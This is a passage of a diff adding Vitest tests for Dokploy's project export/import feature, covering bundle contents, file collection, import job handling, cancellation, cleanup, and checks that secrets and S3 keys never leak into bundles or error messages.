const db = fakeDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) =>
|
||||
detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
|
||||
true,
|
||||
);
|
||||
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
|
||||
true,
|
||||
);
|
||||
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
|
||||
const extractDir = join(outDir, "extracted");
|
||||
await execAsync(
|
||||
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
|
||||
);
|
||||
|
||||
const manifestRaw = JSON.parse(
|
||||
await readFile(join(extractDir, "manifest.json"), "utf8"),
|
||||
);
|
||||
const manifestResult = manifestSchema.safeParse(manifestRaw);
|
||||
expect(manifestResult.success).toBe(true);
|
||||
|
||||
const relativeFiles = await walkFiles(extractDir);
|
||||
expect(relativeFiles.sort()).toEqual([
|
||||
"inventory.json",
|
||||
"manifest.json",
|
||||
"payload.enc",
|
||||
"requirements.json",
|
||||
"warnings.json",
|
||||
]);
|
||||
|
||||
const inventory = JSON.parse(
|
||||
await readFile(join(extractDir, "inventory.json"), "utf8"),
|
||||
);
|
||||
expect(inventory.totals.application).toBe(1);
|
||||
expect(inventory.totals.postgres).toBe(1);
|
||||
|
||||
const requirements = JSON.parse(
|
||||
await readFile(join(extractDir, "requirements.json"), "utf8"),
|
||||
);
|
||||
expect(Array.isArray(requirements)).toBe(true);
|
||||
expect(requirements.length).toBeGreaterThan(0);
|
||||
|
||||
for (const relativePath of relativeFiles) {
|
||||
const bytes = await readFile(join(extractDir, relativePath));
|
||||
for (const secret of SECRET_VALUES) {
|
||||
expect(bytes.includes(secret)).toBe(false);
|
||||
}
|
||||
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,414 @@
|
||||
import { existsSync, readFileSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
Requirement,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { collectFiles } from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const { failPullBox } = vi.hoisted(() => ({
|
||||
failPullBox: { value: false },
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsync: vi.fn(async (command: string, options?: unknown) => {
|
||||
if (failPullBox.value && command.includes("tar -czf")) {
|
||||
const { ExecError } = await import(
|
||||
"@dokploy/server/utils/process/ExecError"
|
||||
);
|
||||
throw new ExecError(`Command failed: ${command}`, {
|
||||
command,
|
||||
stderr: "no such file or directory",
|
||||
exitCode: 1,
|
||||
});
|
||||
}
|
||||
return actual.execAsync(command, options as undefined);
|
||||
}),
|
||||
};
|
||||
});
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
let root: string;
|
||||
let workDir: string;
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
});
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const buildTree = (application: Record<string, unknown>) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [application],
|
||||
compose: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
describe("collectFiles / application sources", () => {
|
||||
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(join(appDir, ".git"), { recursive: true });
|
||||
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
|
||||
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
|
||||
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
|
||||
await mkdir(join(appDir, "code"), { recursive: true });
|
||||
await writeFile(join(appDir, "code", "main.go"), "package main");
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "github",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
const dest = join(workDir, "files", "applications", "app-one");
|
||||
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
|
||||
expect(existsSync(join(dest, ".git"))).toBe(false);
|
||||
expect(existsSync(join(dest, "node_modules"))).toBe(false);
|
||||
expect(existsSync(join(dest, "code"))).toBe(false);
|
||||
});
|
||||
|
||||
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
|
||||
const appDir = join(root, "applications", "app-drop");
|
||||
await mkdir(join(appDir, "code"), { recursive: true });
|
||||
await writeFile(join(appDir, "code", "main.go"), "package main");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-drop",
|
||||
appName: "app-drop",
|
||||
serverId: null,
|
||||
sourceType: "drop",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
const dest = join(workDir, "files", "applications", "app-drop");
|
||||
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
|
||||
});
|
||||
|
||||
it("does nothing when applicationSources is excluded from scope", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(appDir, { recursive: true });
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "github",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: { ...baseScope.files, applicationSources: false },
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "does-not-exist",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await expect(
|
||||
collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
}),
|
||||
).resolves.toEqual({ warnings: [] });
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / traefik raw", () => {
|
||||
it("collects only the application's own dynamic yml file", async () => {
|
||||
await mkdir(join(root, "applications", "app-one"), { recursive: true });
|
||||
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
|
||||
await writeFile(
|
||||
join(root, "traefik", "dynamic", "app-one.yml"),
|
||||
"http:\n routers: {}",
|
||||
);
|
||||
await writeFile(
|
||||
join(root, "traefik", "dynamic", "app-two.yml"),
|
||||
"http:\n routers: unrelated",
|
||||
);
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: true,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
const collected = join(workDir, "files", "traefik", "app-one.yml");
|
||||
expect(existsSync(collected)).toBe(true);
|
||||
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
|
||||
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: true,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(existsSync(join(workDir, "files"))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / custom certificates (T-6.18)", () => {
|
||||
const emptyTree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
|
||||
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
|
||||
await mkdir(certDir, { recursive: true });
|
||||
await writeFile(join(certDir, "cert.pem"), "local cert contents");
|
||||
|
||||
const certRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-1",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: "abc123",
|
||||
serverId: null,
|
||||
};
|
||||
|
||||
await collectFiles(
|
||||
emptyTree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: true,
|
||||
},
|
||||
},
|
||||
[certRequirement],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
const collected = join(
|
||||
workDir,
|
||||
"files",
|
||||
"certificates",
|
||||
"cert-1",
|
||||
"cert.pem",
|
||||
);
|
||||
expect(existsSync(collected)).toBe(true);
|
||||
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
|
||||
});
|
||||
|
||||
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
|
||||
const certRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-2",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: "def456",
|
||||
serverId: "server-1",
|
||||
};
|
||||
|
||||
const messages: string[] = [];
|
||||
await collectFiles(
|
||||
emptyTree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: true,
|
||||
},
|
||||
},
|
||||
[certRequirement],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
|
||||
);
|
||||
|
||||
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
|
||||
expect(
|
||||
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
|
||||
afterEach(() => {
|
||||
failPullBox.value = false;
|
||||
});
|
||||
|
||||
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(appDir, { recursive: true });
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
failPullBox.value = true;
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
const messages: string[] = [];
|
||||
const { warnings } = await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
|
||||
);
|
||||
|
||||
expect(messages).toHaveLength(1);
|
||||
expect(messages[0]).toContain("exit code 1");
|
||||
expect(messages[0]).toContain("no such file or directory");
|
||||
expect(messages[0]).not.toContain("tar -czf");
|
||||
expect(existsSync(join(workDir, "files"))).toBe(false);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
|
||||
expect(warnings[0]?.message).toBe(messages[0]);
|
||||
expect(warnings[0]?.affected).toContainEqual(
|
||||
expect.objectContaining({ serviceId: "app-1" }),
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
import { ExecError } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
const execError = (command: string) =>
|
||||
new ExecError(`Command execution failed: Command failed: ${command}`, {
|
||||
command,
|
||||
stderr: "NoSuchKey: The specified key does not exist",
|
||||
exitCode: 1,
|
||||
});
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
downloadBundleFromDestination: vi.fn(async () => {
|
||||
throw execError(
|
||||
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
|
||||
);
|
||||
}),
|
||||
listBundlesUnderPrefix: vi.fn(async () => {
|
||||
throw execError(
|
||||
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
|
||||
);
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
destinations: {
|
||||
findFirst: vi.fn(async () => ({
|
||||
destinationId: "destination-1",
|
||||
organizationId: "org-1",
|
||||
bucket: "mybucket",
|
||||
})),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string) =>
|
||||
({
|
||||
session: { activeOrganizationId: organizationId },
|
||||
user: { id: "user-1", email: "a@b.com" },
|
||||
}) as any;
|
||||
|
||||
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
|
||||
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importFromDestination({
|
||||
destinationId: "destination-1",
|
||||
key: "key.tar.gz",
|
||||
}),
|
||||
).rejects.toSatisfy((error: unknown) => {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
expect(message).not.toContain("realsecretkey789");
|
||||
return true;
|
||||
});
|
||||
});
|
||||
|
||||
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.listRemoteBundles({ destinationId: "destination-1" }),
|
||||
).rejects.toSatisfy((error: unknown) => {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
expect(message).not.toContain("realsecretkey789");
|
||||
return true;
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,282 @@
|
||||
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
cancelImport,
|
||||
cleanupExpiredImports,
|
||||
createImportJob,
|
||||
getImportJob,
|
||||
runImport,
|
||||
updateImportJob,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-1", name: "my-project" },
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: {},
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
const waitForStatus = async (
|
||||
importId: string,
|
||||
target: "done" | "failed",
|
||||
timeoutMs = 5000,
|
||||
) => {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < timeoutMs) {
|
||||
const job = getImportJob(importId);
|
||||
if (job?.status === target || job?.status === "failed") {
|
||||
return job;
|
||||
}
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
throw new Error(
|
||||
`Timed out waiting for import ${importId} to reach ${target}`,
|
||||
);
|
||||
};
|
||||
|
||||
describe("runImport", () => {
|
||||
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
|
||||
const importId = "import-fail-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, {
|
||||
snapshot,
|
||||
plan,
|
||||
secretsPlain: new Map(),
|
||||
workDir: local("/tmp/does-not-matter"),
|
||||
});
|
||||
|
||||
const failingDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => {
|
||||
throw new Error("insert should never be called");
|
||||
},
|
||||
update: () => {
|
||||
throw new Error("update should never be called");
|
||||
},
|
||||
transaction: async () => {
|
||||
throw new Error("Simulated apply failure");
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: failingDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "failed");
|
||||
expect(job?.status).toBe("failed");
|
||||
expect(job?.result).toBeUndefined();
|
||||
expect(job?.partial).toBeFalsy();
|
||||
expect(job?.error).toContain("Simulated apply failure");
|
||||
});
|
||||
|
||||
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
|
||||
const importId = "import-clear-secrets-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, {
|
||||
snapshot,
|
||||
plan,
|
||||
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
|
||||
workDir: local("/tmp/does-not-matter"),
|
||||
});
|
||||
|
||||
const workingDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
certificates: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => ({
|
||||
values: (values: Record<string, unknown>) => ({
|
||||
returning: async () => [{ ...values, projectId: "new-project-1" }],
|
||||
}),
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...workingDb }),
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: workingDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.secretsPlain).toBeUndefined();
|
||||
expect(job?.snapshot).toBeUndefined();
|
||||
});
|
||||
|
||||
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
|
||||
const importId = "import-missing-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
|
||||
const unusedDb = {
|
||||
query: {},
|
||||
insert: () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
update: () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
transaction: async () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "failed");
|
||||
expect(job?.status).toBe("failed");
|
||||
expect(job?.error).toMatch(/inspect, unlock and plan/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cancelImport (T-4.2)", () => {
|
||||
let root: string;
|
||||
|
||||
afterEach(async () => {
|
||||
if (root) {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
|
||||
const importId = "import-cancel-1";
|
||||
const jobDir = join(root, importId);
|
||||
const workDir = join(jobDir, "extracted");
|
||||
await mkdir(workDir, { recursive: true });
|
||||
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
|
||||
await writeFile(join(workDir, "manifest.json"), "{}");
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
|
||||
|
||||
await cancelImport(importId);
|
||||
|
||||
await expect(readdir(jobDir)).rejects.toThrow();
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
|
||||
const importId = "import-cancel-running-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
|
||||
|
||||
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
|
||||
|
||||
expect(getImportJob(importId)?.status).toBe("restoring");
|
||||
await expect(readdir(jobDir)).resolves.toEqual([]);
|
||||
});
|
||||
|
||||
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
|
||||
const importId = "import-cancel-idle-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "planned" });
|
||||
|
||||
await cancelImport(importId);
|
||||
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("cleanupExpiredImports (T-5.10)", () => {
|
||||
let root: string;
|
||||
|
||||
afterEach(async () => {
|
||||
if (root) {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
|
||||
const importId = "active-past-ttl-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { status: "restoring" });
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredImports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.importId)).not.toContain(importId);
|
||||
expect(getImportJob(importId)).toBeDefined();
|
||||
});
|
||||
|
||||
it("cleans up a terminal-status job once it's past the TTL", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
|
||||
const importId = "terminal-past-ttl-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "done" });
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredImports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.importId)).toContain(importId);
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
await expect(readdir(jobDir)).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,65 @@
|
||||
import {
|
||||
assertNoActiveTransfer,
|
||||
createExportJob,
|
||||
createImportJob,
|
||||
createImportJobIfNoneActive,
|
||||
getImportJob,
|
||||
updateExportJob,
|
||||
updateImportJob,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("assertNoActiveTransfer (T-4.2)", () => {
|
||||
it("throws when the user has an in-progress export", () => {
|
||||
createExportJob("export-rl-1", "user-rl-1", "org-1");
|
||||
updateExportJob("export-rl-1", { status: "capturing" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("throws when the user has an in-progress import", () => {
|
||||
createImportJob("import-rl-1", "user-rl-2", "org-1");
|
||||
updateImportJob("import-rl-1", { status: "applying" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("does not throw once the job reaches a terminal status", () => {
|
||||
createExportJob("export-rl-2", "user-rl-3", "org-1");
|
||||
updateExportJob("export-rl-2", { status: "done" });
|
||||
createImportJob("import-rl-2", "user-rl-3", "org-1");
|
||||
updateImportJob("import-rl-2", { status: "done" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
|
||||
});
|
||||
|
||||
it("does not throw for a different user's in-progress job", () => {
|
||||
